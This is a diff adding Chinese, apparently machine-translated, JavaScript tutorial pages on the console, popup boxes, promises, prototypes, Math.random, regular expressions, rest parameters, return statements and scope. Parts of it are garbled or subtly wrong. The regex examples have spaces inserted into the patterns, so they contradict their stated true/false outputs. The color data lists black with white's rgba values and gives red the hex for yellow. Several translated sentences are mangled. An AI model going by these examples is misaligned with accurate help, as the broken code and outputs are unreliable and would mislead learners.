+您可以猜测，这是在抛出异常或在代码中出错时使用的。为您提供红色错误消息以快速引起注意。
+
+#### `console.table`
+
+假设你有一个json对象中的项目或电影列表，并且你想以表格格式检查出来，那么`console.table`是你最好的选择。它会自动检测数据中的行和列标题。
+
+_尝试在控制台中运行以下代码_
+
+```javascript
+var data = { 
+  "colors": [ 
+    { 
+      "color": "black", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,255,255,1], 
+      "hex": "#000" 
+    }, 
+    { 
+      "color": "white", 
+      "category": "value", 
+      "rgba": [0,0,0,1], 
+      "hex": "#FFF" 
+    }, 
+    { 
+      "color": "red", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,0,0,1], 
+      "hex": "#FF0" 
+    }, 
+    { 
+      "color": "blue", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [0,0,255,1], 
+      "hex": "#00F" 
+    }, 
+    { 
+      "color": "yellow", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,255,0,1], 
+      "hex": "#FF0" 
+    }, 
+    { 
+      "color": "green", 
+      "category": "hue", 
+      "type": "secondary", 
+      "rgba": [0,255,0,1], 
+      "hex": "#0F0" 
+ 
+    }, 
+  ] 
+ } 
+ 
+ console.table(data.colors); 
+```
+
+此外，您可以控制和过滤您希望在控制台中看到的输出类型。
+
+1.  所有
+2.  详细
+3.  警告
+4.  错误
+
+#### 更多信息：
+
+*   [Google完整引用控制台对象](https://developers.google.com/web/tools/chrome-devtools/console/console-reference)
+*   [控制台MDN](https://developer.mozilla.org/en-US/docs/Web/API/Console)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/popup-boxes/index.md b/client/src/guide/chinese/javascript/popup-boxes/index.md
new file mode 100644
index 0000000000..cf067652f2
--- /dev/null
+++ b/client/src/guide/chinese/javascript/popup-boxes/index.md
@@ -0,0 +1,70 @@
+---
+title: Popup Boxes
+localeTitle: 弹出框
+---
+## 弹出框
+
+弹出框（或对话框）是用于通知或警告用户或从用户获得输入的模态窗口。
+
+弹出框阻止用户访问程序的其他方面，直到弹出窗口关闭，因此不应过度使用它们。
+
+JavaScript中使用了三种不同的弹出方法： [window.alert（）](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert) ， [window.confirm（）](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm)和[window.prompt（）](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt) 。
+
+### 警报
+
+[警报方法](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert)显示不需要用户输入响应的消息。调用此函数后，将出现一个警告对话框，其中包含指定的（可选）消息。在警报消失之前，用户需要确认消息。
+
+### 例：
+
+`window.alert("Welcome to our website");`
+
+![MDN警报示例](https://mdn.mozillademos.org/files/130/AlertHelloWorld.png)
+
+### 确认
+
+[confirm方法](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm)类似于`window.alert()` ，但在弹出窗口中也显示一个取消按钮。按钮返回布尔值：true表示OK，false表示取消。
+
+### 例：
+
+```javascript
+var result = window.confirm('Are you sure?'); 
+ if (result === true) { 
+    window.alert('Okay, if you're sure.'); 
+ } else { 
+    window.alert('You seem uncertain.'); 
+ } 
+```
+
+![MDN确认示例](https://mdn.mozillademos.org/files/7163/firefoxcomfirmdialog_zpsf00ec381.png)
+
+### 提示
+
+[提示方法](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt)通常用于从用户获取文本输入。此函数可以使用两个参数，这两个参数都是可选的：要显示给用户的消息和要在文本字段中显示的默认值。
+
+### 例：
+
+`var age = prompt('How old are you?', '100');`
+
+![MDN提示示例](https://mdn.mozillademos.org/files/11303/prompt.png)
+
+### 其他设计选项：
+
+如果您对默认的JavaScript弹出窗口不满意，可以在各种UI库中替换。例如，SweetAlert为标准JavaScript模式提供了一个很好的替代品。您可以通过CDN（内容分发网络）将其包含在HTML中并开始使用。
+
+```HTML
+<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> 
+```
+
+语法如下： `swal(title, subtitle, messageType)`
+
+```javascript
+swal("Oops!", "Something went wrong on the page!", "error"); 
+```
+
+上面的代码将生成以下弹出窗口： ![SweetAlert示例](https://ludu-assets.s3.amazonaws.com/lesson-content/rWqOoQXgDrSVSMrAKiZ9) SweetAlert绝不是标准模态的唯一替代品，但它干净且易于实现。
+
+#### 更多信息：
+
+*   [MDN window.alert（）](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert)
+*   [MDN window.confirm（）](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm)
+*   [MDN window.prompt（）](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/promises/index.md b/client/src/guide/chinese/javascript/promises/index.md
new file mode 100644
index 0000000000..0bc5135985
--- /dev/null
+++ b/client/src/guide/chinese/javascript/promises/index.md
@@ -0,0 +1,175 @@
+---
+title: Promises
+localeTitle: 承诺
+---
+## 承诺
+
+JavaScript是单线程的，这意味着两个脚本不能同时运行;他们必须一个接一个地跑。 Promise是一个对象，表示异步操作的最终完成（或失败）及其结果值。
+
+```javascript
+var promise = new Promise(function(resolve, reject) { 
+  // do thing, then… 
+ 
+  if (/* everything worked */) { 
+    resolve("See, it worked!"); 
+  } 
+  else { 
+    reject(Error("It broke")); 
+  } 
+ }); 
+```
+
+## 承诺存在于其中一种状态中
+
+*   待定：初始状态，既未履行也未拒绝。
+*   实现：操作成功完成。
+*   拒绝：操作失败。
+
+Promise对象用作创建promise时未必知道的值的代理。它允许您将处理程序与异步操作的最终成功值或失败原因相关联。这允许异步方法返回类似于同步方法的值：异步方法返回一个承诺，在将来的某个时刻提供值，而不是立即返回最终值。
+
+## 使用'然后'（承诺链接）
+
+要进行多次异步调用并依次同步它们，可以使用promise chaining。这允许在后面的后续回调中使用第一个promise中的值。
+
+```javascript
+Promise.resolve('some') 
+  .then(function(string) { // <-- This will happen after the above Promise resolves (returning the value 'some') 
+    return new Promise(function(resolve, reject) { 
+      setTimeout(function() { 
+        string += 'thing'; 
+        resolve(string); 
+      }, 1); 
+    }); 
+  }) 
+  .then(function(string) { // <-- This will happen after the above .then's new Promise resolves 
+    console.log(string); // <-- Logs 'something' to the console 
+  }); 
+```
+
+## 承诺API
+
+Promise类中有4个静态方法：
+
+*   Promise.resolve
+*   Promise.reject
+*   Promise.all
+*   Promise.race
+
+## 承诺可以链接在一起
+
+编写Promise来解决特定问题时，可以将它们链接在一起形成逻辑。
+
+```javascript
+var add = function(x, y) { 
+  return new Promise((resolve,reject) => { 
+    var sum = x + y; 
+    if (sum) { 
+      resolve(sum); 
+    } 
+    else { 
+      reject(Error("Could not add the two values!")); 
+    } 
+  }); 
+ }; 
+ 
+ var subtract = function(x, y) { 
+  return new Promise((resolve, reject) => { 
+    var sum = x - y; 
+    if (sum) { 
+      resolve(sum); 
+    } 
+    else { 
+      reject(Error("Could not subtract the two values!")); 
+    } 
+  }); 
+ }; 
+ 
+ // Starting promise chain 
+ add(2,2) 
+  .then((added) => { 
+    // added = 4 
+    return subtract(added, 3); 
+  }) 
+  .then((subtracted) => { 
+    // subtracted = 1 
+    return add(subtracted, 5); 
+  }) 
+  .then((added) => { 
+    // added = 6 
+    return added * 2; 
+  }) 
+  .then((result) => { 
+    // result = 12 
+    console.log("My result is ", result); 
+  }) 
+  .catch((err) => { 
+    // If any part of the chain is rejected, print the error message. 
+    console.log(err); 
+  }); 
+```
+
+这对于遵循_功能编程_范例很有用。通过创造 用于操纵数据的函数可以将它们链接在一起以组装最终数据 结果。如果在函数链中的任何一点，一个值被_拒绝_链 将跳到最近的`catch()`处理程序。
+
+有关函数编程的更多信息： [函数编程](https://en.wikipedia.org/wiki/Functional_programming)
+
+## 函数发生器
+
+在最近的版本中，JavaScript引入了更多本机处理Promises的方法。一种这样的方法是函数发生器。函数发生器是“可暂停”的函数。与Promises一起使用时，生成器可以使用起来更容易阅读并显示为“同步”。
+
+```javascript
+const myFirstGenerator = function* () { 
+  const one = yield 1; 
+  const two = yield 2; 
+  const three = yield 3; 
+ 
+  return 'Finished!'; 
+ } 
+ 
+ const gen = myFirstGenerator(); 
+```
+
+这是我们的第一个生成器，您可以通过`function*`语法看到它。我们声明的`gen`变量不会运行`myFirstGenerator` ，而是“此生成器可以使用”。
+
+```javascript
+console.log(gen.next()); 
+ // Returns { value: 1, done: false } 
+```
+
+当我们运行`gen.next()` ，它将取消暂停生成器并继续运行。由于这是我们第一次调用`gen.next()` ，它将运行`yield 1`并暂停，直到我们再次调用`gen.next()` 。当调用`yield 1` ，它将返回给我们产生的`value`以及生成器是否`done` 。
+
+```javascript
+console.log(gen.next()); 
+ // Returns { value: 2, done: false } 
+ 
+ console.log(gen.next()); 
+ // Returns { value: 3, done: false } 
+ 
+ console.log(gen.next()); 
+ // Returns { value: 'Finished!', done: true } 
+ 
+ console.log(gen.next()); 
+ // Will throw an error 
+```
+
+当我们继续调用`gen.next()` ，它将继续进行下一次`yield`并且每次都暂停。一旦没有剩余`yield` ，它将继续运行发电机的其余部分，在这种情况下只返回`'Finished!'` 。如果再次调用`gen.next()` ，它将在生成器完成时抛出错误。
+
+现在，假设这个例子中的每个`yield`都是`Promise` ，代码本身看起来非常同步。
+
+### Promise.all（iterable）对于对不同源的多个请求非常有用
+
+Promise.all（iterable）方法返回单个Promise，当可迭代参数中的所有promise都已解析或者iterable参数不包含promise时，它将解析。它拒绝了第一个承诺拒绝的原因。
+
+```javascript
+var promise1 = Promise.resolve(catSource); 
+ var promise2 = Promise.resolve(dogSource); 
+ var promise3 = Promise.resolve(cowSource); 
+ 
+ Promise.all([promise1, promise2, promise3]).then(function(values) { 
+  console.log(values); 
+ }); 
+ // expected output: Array ["catData", "dogData", "cowData"] 
+```
+
+### 更多信息
+
+有关承诺的更多信息： [承诺](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/prototypes/index.md b/client/src/guide/chinese/javascript/prototypes/index.md
new file mode 100644
index 0000000000..0d160e601c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/prototypes/index.md
@@ -0,0 +1,106 @@
+---
+title: Prototypes
+localeTitle: 原型
+---
+## 原型
+
+JavaScript是一种基于原型的语言，因此理解原型对象是JavaScript从业者需要知道的最重要的概念之一。本文将通过各种示例简要概述Prototype对象。在阅读本文之前，您需要对[JavaScript](/src/pages/javascript/this-reference/index.md)中的[`this`引用](/src/pages/javascript/this-reference/index.md)有一个基本的了解。
+
+### 原型对象
+
+为清楚起见，我们来看一下以下示例：
+
+```javascript
+function Point2D(x, y) { 
+  this.x = x; 
+  this.y = y; 
+ } 
+```
+
+当声明`Point2D`函数时，将为它创建一个名为`prototype`的默认属性（请注意，在JavaScript中，函数也是一个对象）。 `prototype`属性是一个包含`constructor`属性的对象，其值为`Point2D`函数： `Point2D.prototype.constructor = Point2D` 。当您使用`new`关键字调用`Point2D`时， _新创建的对象将继承_ `Point2D.prototype` _所有属性_ 。要检查这一点，您可以将名为`move`的方法添加到`Point2D.prototype` ，如下所示：
+
+```javascript
+Point2D.prototype.move = function(dx, dy) { 
+  this.x += dx; 
+  this.y += dy; 
+ } 
+ 
+ var p1 = new Point2D(1, 2); 
+ p1.move(3, 4); 
+ console.log(p1.x); // 4 
+ console.log(p1.y); // 6 
+```
+
+`Point2D.prototype`被称为**原型对象**或`p1`对象的**原型** ，以及用`new Point2D(...)`语法创建的任何其他对象。您可以根据需要向`Point2D.prototype`对象添加更多属性。常见的模式是`Point2D.prototype`声明方法，其他属性将在构造函数中声明。
+
+JavaScript中的内置对象以类似的方式构造。例如：
+
+*   使用`new Object()`或`{}`语法创建的对象的原型是`Object.prototype` 。
+*   使用`new Array()`或`[]`语法创建的数组的原型是`Array.prototype` 。
+*   等等其他内置对象，如`Date`和`RegExp` 。
+
+`Object.prototype`由所有对象继承，并且没有原型（其原型为`null` ）。
+
+### 原型链
+
+原型链机制很简单：当您访问对象`obj`上的属性`p`时，JavaScript引擎将在`obj`对象中搜索此属性。如果引擎无法搜索，它会继续搜索`obj`对象的原型，依此类推，直到达到`Object.prototype` 。如果在搜索完成后，没有找到任何结果，则结果将是`undefined` 。 例如：
+
+```javascript
+var obj1 = { 
+  a: 1, 
+  b: 2 
+ }; 
+ 
+ var obj2 = Object.create(obj1); 
+ obj2.a = 2; 
+ 
+ console.log(obj2.a); // 2 
+ console.log(obj2.b); // 2 
+ console.log(obj2.c); // undefined 
+```
+
+在上面的代码片段中，语句`var obj2 = Object.create(obj1)`将使用原型`obj1`对象创建`obj2`对象。换句话说，默认情况下， `obj1`成为`obj2`的原型而不是`Object.prototype` 。如您所见， `b`不是`obj2`的属性，您仍然可以通过原型链访问它。但是，对于`c`属性，您将获得`undefined`值，因为它无法在`obj1`和`Object.prototype`找到。
+
+### 类
+
+在ES2016中，我们现在可以使用`Class`关键字以及上面提到的方法来操作`prototype` 。 JavaScript `Class`吸引了来自OOP背景的开发人员，但它基本上与上面做了同样的事情。
+
+```javascript
+class Rectangle { 
+  constructor(height, width) { 
+    this.height = height 
+    this.width = width 
+  } 
+ 
+  get area() { 
+    return this.calcArea() 
+  } 
+ 
+  calcArea() { 
+    return this.height * this.width 
+  } 
+ } 
+ 
+ const square = new Rectangle(10, 10) 
+ 
+ console.log(square.area) // 100 
+```
+
+这基本上与以下相同：
+
+```javascript
+function Rectangle(height, width) { 
+  this.height = height 
+  this.width = width 
+ } 
+ 
+ Rectangle.prototype.calcArea = function calcArea() { 
+  return this.height * this.width 
+ } 
+```
+
+类中的`getter`和`setter`方法将Object属性绑定到将在查找该属性时调用的函数。这只是语法糖，有助于更容易_查找_或_设置_属性。
+
+**进一步阅读：**
+
+*   [MDN：对象原型](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/random-method/index.md b/client/src/guide/chinese/javascript/random-method/index.md
new file mode 100644
index 0000000000..897af81f00
--- /dev/null
+++ b/client/src/guide/chinese/javascript/random-method/index.md
@@ -0,0 +1,110 @@
+---
+title: Random Method
+localeTitle: 随机方法
+---
+## 随机方法
+
+JavaScript `Math.random()`方法是一种出色的内置方法，用于生成随机数。执行`Math.random()` ，它返回一个随机数，该数字可以介于0和1之间。包括0，排除1。
+
+### 生成0到1之间的随机浮点数
+
+`Math.random()`方法将返回一个大于或等于0且小于（但绝不等于）1的浮点（十进制）数。换句话说， `0 <= x < 1` 。例如：
+
+```JavaScript
+console.log(Math.random()); 
+ // 0.7069207248635578 
+ 
+ console.log(Math.random()); 
+ // 0.765046694794209 
+ 
+ console.log(Math.random()); 
+ // 0.14069121642698246 
+```
+
+（当然，每次返回的数字都会有所不同。这将在以下所有示例中假设 - 每次传递都会产生不同的结果。）
+
+要获得较大范围之间的随机数，请将`Math.random()`的结果乘以数字。
+
+### 生成0到指定最大值之间的随机浮点数
+
+通常你不需要0到1之间的随机数 - 你需要更大的数字甚至整数。
+
+例如，如果您想要一个0到10之间的随机浮点数，您可以使用：
+
+```JavaScript
+var x = Math.random()*10; 
+ 
+ console.log(x); 
+ // 4.133793901445541 
+```
+
+### 生成范围内的随机浮点数
+
+如果您需要一个介于两个特定数字之间的随机浮点数，您可以执行以下操作：
+
+```JavaScript
+var min = 83.1; 
+ var max = 193.36; 
+ 
+ var x = Math.random()*(max - min)+min; 
+ 
+ console.log(x); 
+ // 126.94014012699063 
+```
+
+### 生成0到最大值之间的随机整数
+
+通常你需要整数。要做到这一点，你必须使用`Math`对象中的一些其他方法， `Math.floor()` （向下`Math.floor()`入到最接近的整数）和`Math.ceil()` （向上`Math.ceil()`入到最接近的整数）。
+
+例如，如果您需要从10个元素的数组中随机选择，则需要一个介于0和9之间的随机数（请记住，数组是零索引的）。
+
+```JavaScript
+var x = Math.floor(Math.random()*10); 
+ 
+ console.log(x); 
+ // 7 
+```
+
+（请记住， `Math.random()`永远不会返回1，因此`Math.random()*10`将永远不会返回10.这意味着在向下舍入后，结果将始终为9或更小。）
+
+### 生成1到最大值之间的随机整数
+
+如果您需要一个最小数为1的随机数（例如，在一月中选择一个随机日），您可以使用`Math.ceil()`方法。
+
+```JavaScript
+var x = Math.ceil(Math.random()*31); 
+ 
+ console.log(x); 
+ // 23 
+```
+
+另一种方法是使用前一个函数（使用`Math.floor()` ）并向其中添加1：
+
+```JavaScript
+var x = Math.floor(Math.random()*31)+1; 
+ 
+ console.log(x); 
+ // 17 
+```
+
+### 生成范围内的随机整数
+
+最后，偶尔需要两个特定整数之间的随机整数。例如，如果您尝试选择抽奖券并且您知道最低和最大数字的数字：
+
+```JavaScript
+var min = 1718; 
+ var max = 3429; 
+ 
+ var x = Math.floor(Math.random()*(max-min+1)+min); 
+ 
+ console.log(x); 
+ //2509 
+```
+
+### Math.random（）的随机性如何？
+
+可以指出， `Math.random()`返回的数字是伪随机数，因为没有计算机可以生成真正的随机数，它表现出所有尺度和所有大小的数据集的随机性。但是， `Math.random()`生成的伪随机数通常足以满足您编写的几乎任何程序的需要。非真实随机性仅在天文数字大集合中或在需要非常精确的小数时才变得明显。
+
+### 更多信息：
+
+*   文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/regular-expressions-reference/index.md b/client/src/guide/chinese/javascript/regular-expressions-reference/index.md
new file mode 100644
index 0000000000..4545e52630
--- /dev/null
+++ b/client/src/guide/chinese/javascript/regular-expressions-reference/index.md
@@ -0,0 +1,96 @@
+---
+title: Regular Expressions Reference
+localeTitle: 正则表达式参考
+---
+## 正则表达式参考
+
+在JavaScript中，正则表达式是用于匹配字符串的所需部分的简写。在尝试操作或验证代码中使用的字符串时，这些都很有用。
+
+### 句法
+
+正则表达式由两部分组成 - `pattern`和`flags` （可选）。模式在两个正斜杠之间写入，后跟可选标志： `var exp = /pattern/flags` 。
+
+#### 模式
+
+使用字母数字（AZ，az，0-9）字符可以直接匹配。然而，正则表达式的真正力量来自于字符类。
+
+比方说，例如，您希望所有地方都有一个数字从0到9的字符串。您可以使用`/\d/`的特殊字符类，而不是显式调用`/[0-9]/` `/\d/` 。反斜杠会转义`d`字符（因此与字母`d`不匹配），而是使用`\d`的特殊匹配功能。
+
+同样的原则适用于非数字字符，空格和其他广泛匹配组。使用某些修饰符（例如`+`字符），正则表达式会变得更加复杂。
+
+此量词允许您将模式中的前一个字符匹配一次或多次。 `/s+/`将匹配`desert`中的`s`和两者`s` `dessert` ！
+
+还有更多的修饰符可以让你的模式匹配你可能需要的任何东西。请参阅下面的“更多信息”部分，以查看在正则表达式中使用的所有可能的字符选项。
+
+#### 旗
+
+您可以使用5个标志将特定规则应用于您正在编写的整个正则表达式。他们是：
+
+`g` - 全球比赛;这允许您匹配表达式的所有实例，而不是在第一次出现后停止。
+
+`i` - 忽略大小写匹配（不言自明）
+
+`m` - 多线匹配;这会将您的模式应用于每一行作为新的;如果您要搜索以特定模式开头的行，则对所有行都这样做，而不是仅对第一行进行
+
+`u` - Unicode匹配;这表示将您的模式读取为Unicode而不是纯文本
+
+`y` - 粘性匹配;这与您的模式匹配`RegExp.lastIndex`属性中找到的索引开始
+
+### 创建正则表达式
+
+正则表达式是一种对象。它可以构建 使用RegExp构造函数或通过将其括起来写为文字值 正斜杠（/）字符中的模式。
+```
+var re1 = new RegExp (" abc ") ; 
+ var re2 = / abc /; 
+```
+
+这两个正则表达式对象都表示相同的模式：a 一个字符后跟ab后跟一个c。
+
+### RegExp对象
+
+`RegExp`是一个构造函数，它根据您创建的正则表达式模式创建对象。除了上面描述的文字符号，您还可以使用构造函数格式来创建正则表达式： `new RegExp(pattern[, flags])`
+
+### 测试比赛
+```
+console . log (/ abc /. test (" abcde ") ); 
+ // → true 
+ console . log (/ abc /. test (" abxde ") ); 
+ // → false 
+```
+
+### 匹配一组字符
+```
+console . log (/[0123456789]/. test (" in 1992") ); 
+ // → true 
+ console . log (/[0 -9]/. test (" in 1992") ); 
+ // → true 
+```
+
+### 选择模式
+```
+var animalCount = /\ b \ d + ( pig | cow | chicken )s ?\ b /; 
+ console . log ( animalCount . test ("15 pigs ") ); 
+ // → true 
+ console . log ( animalCount . test ("15 pigchickens ") ); 
+ // → false 
+```
+
+#### 方法
+
+您很可能在`String`方法中使用正则表达式，例如`String.replace()` ，但是有一些属于`RegExp`对象的方法。
+
+例如， `RegExp.test()`将返回一个布尔值，表示正则表达式模式与相关字符串之间是否存在匹配。 `RegExp.toString()`会将表达式对象转换为字符串，这在代码上运行测试时非常方便。
+
+第一个参数也可以是正则表达式，在这种情况下，替换正则表达式的第一个匹配。当ag选项（for global）添加到正则表达式时，字符串中的所有匹配项将被替换，而不仅仅是第一个。
+```
+console . log (" Borobudur ". replace (/[ ou ]/ , "a ") ); 
+ // → Barobudur 
+ console . log (" Borobudur ". replace (/[ ou ]/g , "a ") ); 
+ // → Barabadar 
+```
+
+### 更多信息：
+
+*   [在这里，您可以阅读](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)所有模式匹配字符，对象属性，查看一些示例等。
+    
+*   [这是一个很棒的网站](https://regex101.com/) ，可以让您实时测试正则表达式模式，保存您的收藏夹并探索其他人制作的模式。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/rest-parameters/index.md b/client/src/guide/chinese/javascript/rest-parameters/index.md
new file mode 100644
index 0000000000..6fc44ba3ae
--- /dev/null
+++ b/client/src/guide/chinese/javascript/rest-parameters/index.md
@@ -0,0 +1,37 @@
+---
+title: Rest Parameters
+localeTitle: 休息参数
+---
+## 休息参数
+
+在ES6中，其余的参数语法`...`允许您将无限数量的参数收集到数组中。
+
+尽管它们看起来相同，但它与扩展运算符相反，后者从迭代中获取每个项目并将它们分散到各自的值中。
+
+### 句法
+
+```js
+function myFunc(...args) { 
+  console.log(args); 
+ } 
+ 
+ myFunc( 1, 2, 3, 4, 5);       // [1,2,3,4,5] 
+```
+
+你可以在它前面加上函数的最后一个参数与`...`当你想要做的初始paramters的东西，然后把所有剩下的参数不同。
+
+```js
+function convertCurrency(rate, fee, ...amounts) { 
+  return amounts.map(amount => (amount * rate) + fee); 
+ } 
+ 
+ convertCurrency(0.89, 2.5, 100, 250, 75, 150, 300); // [ 91.5, 225, 69.25, 136, 269.5 ] 
+```
+
+`...`允许您将其余参数（如果有的话）收集到数组中。
+
+### rest参数和arguments对象之间的区别
+
+`arguments`是一个类似于数组的对象，在函数内部可用，包含传递给这些函数的参数。它被称为“类似数组”，因为它没有所有数组的内置方法，例如`.forEach()`和`.map()` 。
+
+其余参数是一个数组，包含所有数组方法。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/return-statements/index.md b/client/src/guide/chinese/javascript/return-statements/index.md
new file mode 100644
index 0000000000..f0a22575f3
--- /dev/null
+++ b/client/src/guide/chinese/javascript/return-statements/index.md
@@ -0,0 +1,86 @@
+---
+title: Return Statement
+localeTitle: 退货声明
+---
+## 介绍
+
+在函数中调用**return**语句时，将停止执行此函数。如果指定，则将给定值返回给函数调用者。如果省略表达式，则返回`undefined` 。
+
+```js
+    return expression; 
+```
+
+函数可以返回：
+
+*   原始值（字符串，数字，布尔值等）
+*   对象类型（数组，对象，函数等）
+
+切勿在不使用括号的情况下在新行上返回某些内容。这是一个JavaScript怪癖，结果将是未定义的。尝试在多行返回时使用括号。
+
+```javascript
+function foo() { 
+    return 
+      1; 
+ } 
+ 
+ function boo() { 
+    return ( 
+      1 
+    ); 
+ } 
+ 
+ foo(); --> undefined 
+ boo(); --> 1 
+```
+
+## 例子
+
+以下函数返回其参数**x**的平方，其中**x**是数字。
+
+```js
+    function square(x) { 
+       return x * x; 
+    } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/C7VT/0)
+
+以下函数返回其参数**arg1**和**arg2**的乘积。
+
+```js
+    function myfunction(arg1, arg2){ 
+       var r; 
+       r = arg1 * arg2; 
+       return(r); 
+    } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/C7VU/0)
+
+当函数`return` sa值时，可以使用assigment运算符（ `=` ）将该值赋给变量。在下面的示例中，函数返回参数的平方。当函数结算或结束时，其值为`return`值。然后将该值分配给变量`squared2` 。
+
+```javascript
+    function square(x) { 
+        return x * x; 
+    } 
+ 
+    let squared2 = square(2); // 4 
+```
+
+如果没有显式的return语句，意味着该函数缺少`return`关键字，则该函数会自动返回`undefined` 。在以下示例中， `square`函数缺少`return`关键字。将调用函数的结果赋给变量时，变量的值为`undefined` 。
+
+```javascript
+    function square(x) { 
+        let y = x * x; 
+    } 
+ 
+    let squared2 = square(2); // undefined 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/M8BE)
+
+#### 更多信息：
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/return)
+
+[MSDN链接](https://msdn.microsoft.com/en-us/library/22a685h9.aspx)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/scopes/index.md b/client/src/guide/chinese/javascript/scopes/index.md
new file mode 100644
index 0000000000..81642430cc
--- /dev/null
+++ b/client/src/guide/chinese/javascript/scopes/index.md
@@ -0,0 +1,131 @@
+---
+title: Scopes
+localeTitle: 领域
+---
+如果你已经用JavaScript编程了一段时间，那么毫无疑问你会遇到一个称为`scope`的概念。什么是`scope` ？你为什么要花时间学习它？
+
+在程序员说话中， `scope`是**当前执行的上下文** 。困惑？我们来看看以下代码：
+```
+var foo = 'Hi, I am foo!'; 
+ 
+ var baz = function () { 
+  var bar = 'Hi, I am bar too!'; 
+    console.log(foo); 
+ } 
+ 
+ baz(); // Hi, I am foo! 
+ console.log(bar); // ReferenceError... 
+```
+
+这是一个简单的例子，但它很好地说明了所谓的_词法范围_ 。 JavaScript和几乎所有其他编程语言都有一个_词法范围_ 。还有另一种称为_动态范围的范围_ ，但我们不会讨论它。
+
+现在，术语_词汇范围_看起来很奇特，但正如你将看到它原则上非常简单。在词法范围中，有两种范围： _全局范围_和_局部范围_ 。
+
+在程序中键入第一行代码之前，会为您创建一个_全局范围_ 。这包含您在程序中声明的**所有函数之外的所有变量** 。
+
+在上面的示例中，变量`foo`位于程序的全局范围内，而变量`bar`在函数内声明，因此**位于该函数的本地范围内** 。
+
+让我们逐行分解示例。虽然你可能会在这一点上感到困惑，但我保证你读完这篇文章时会有更好的理解。
+
+在第1行，我们声明变量`foo` 。这里没什么太花哨的。让我们称之为`foo`的左手大小（LHS）引用，因为我们正在为`foo`分配一个值，它位于`equal`的左侧。
+
+在第3行，我们声明一个函数并将其赋值给变量`baz` 。这是对`baz`另一个LHS参考。我们正在为它赋值（请记住，函数也是值！）。然后在第8行调用此函数。这是一个RHS，或者是对`baz`的右侧引用。我们正在检索`baz`的值，在这种情况下是一个函数然后调用它。如果我们将其值分配给另一个变量，例如`foo = baz` ，则另一个对`baz` RHS引用。这将是对`foo`的LHS参考和对`baz`的RHS参考。
+
+LHS和RHS参考文献可能听起来令人困惑，但它们对于讨论范围很重要。可以这样想：LHS参考是为变量赋值，而RHS参考则是检索变量的值。它们只是一种更简单，更方便的方式来表示“检索价值”和“分配价值”。
+
+现在让我们分析一下函数本身内部发生了什么。
+
+当编译器在函数内编译代码时，它进入函数的**本地范围** 。
+
+在第4行，声明变量`bar` 。这是一个LHS参考`bar` 。在下一行，我们在`console.log()`有一个对`foo`的RHS引用。请记住，我们正在检索`foo`的值，然后将其作为参数传递给方法`console.log()` 。
+
+当我们有一个对`foo`的RHS引用时，编译器会查找变量`foo`的声明。编译器在函数本身或**函数的本地范围中**找不到它，因此它**上升到一个级别：到全局范围** 。
+
+此时您可能认为范围与变量有关。那是对的。范围可以被视为变量的容器。在本地范围内创建的所有变量只能在该本地范围内访问。但是，所有本地范围都可以访问全局范围。 （我知道你现在可能更加困惑，但只要跟我说几句话）。
+
+因此编译器进入全局范围以查找变量`foo`的LHS引用。它在第1行找到一个，所以它从LHS引用中检索值，这是一个字符串： `'Hi, I am foo!'` 。此字符串将发送到`console.log()`方法，并输出到控制台。
+
+编译器已经完成了函数内部的代码执行，所以我们回到第9行。在第9行，我们有一个变量`bar`的RHS参考。
+
+现在， `bar`在`baz`的本地范围内被声明，但是在全球范围内有一个RHS参考`bar` 。由于全局范围内没有`bar` LHS引用，因此编译器无法找到`bar`的值并抛出ReferenceError。
+
+但是，您可能会问，如果函数可以在变量外部查看，或者本地范围可以查看全局范围以查找LHS引用，为什么全局范围不能窥探到本地范围？那就是词汇范围的工作原理！
+```
+... // global scope 
+ var baz = function() { 
+  ... // baz's scope 
+ } 
+ ... /// global scope 
+```
+
+这是与上面相同的代码，说明了范围。这形成了一种符合全球范围的层次结构：
+
+`baz -> global` 。
+
+因此，如果在`baz`范围内存在变量的RHS参考，则可以通过全局范围内该变量的LHS参考来实现。但**事实**恰恰相反。
+
+如果我们在`baz`内部有另一个功能怎么办？
+```
+... // global scope 
+ var baz = function() { 
+  ... // baz's scope 
+ 
+  var bar = function() { 
+     ... // bar's scope. 
+  } 
+ 
+ } 
+ ... /// global scope 
+```
+
+在这种情况下，层次结构或**范围链**将如下所示：
+
+`bar -> baz -> global`
+
+内部的任何RHS引用`bar`的本地范围可以通过在全球范围内或LHS引用被fullfilled `baz`适适用范围“，但在RHS参考`baz`的范围不能用在LHS参考fullfilled `bar`适适用范围”。
+
+**您只能遍历范围链，而不是向上遍历。**
+
+关于JavaScript范围，您还应该了解其他两个重要事项。
+
